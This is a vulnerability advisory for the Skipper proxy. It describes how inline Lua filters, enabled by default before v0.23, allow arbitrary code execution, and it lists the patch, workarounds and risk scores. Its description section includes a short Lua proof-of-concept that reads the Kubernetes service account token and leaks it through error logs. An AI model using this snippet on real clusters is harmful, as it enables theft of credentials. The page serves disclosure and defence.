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GHSA-cc8m-98fm-rc9g

HighCVSS 8.8 / 10
Published Jan 16, 2026·Last modified Feb 3, 2026
Affected Components(0)

No affected components available

Description

Impact

Arbitrary code execution through lua filters.

The default skipper configuration before v0.23 was -lua-sources=inline,file. The problem starts if untrusted users can create lua filters, because of -lua-sources=inline , for example through a Kubernetes Ingress resource. The configuration inline allows these user to create a script that is able to read the filesystem accessible to the skipper process and if the user has access to read the logs they an read skipper secrets.

Kubernetes example (vulnerability is not limited to Kubernetes)

function request(ctx, params)
  local file = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
  if file then
    local token = file:read('*all')
    file:close()
    error('[EXFIL] ' .. token)  -- Exfiltrate via error logs
  end
end

Patches

https://github.com/zalando/skipper/releases/tag/v0.23.0 disables Lua by default.

Workarounds

You can reduce support of how you can pass lua filter script data by providing config for lua sources https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources. For example -lua-sources=file will only be exploitable if the attacker can create a lua script file on the target system.

References

https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources

Risk Scores
Base Score
8.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
8.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.47%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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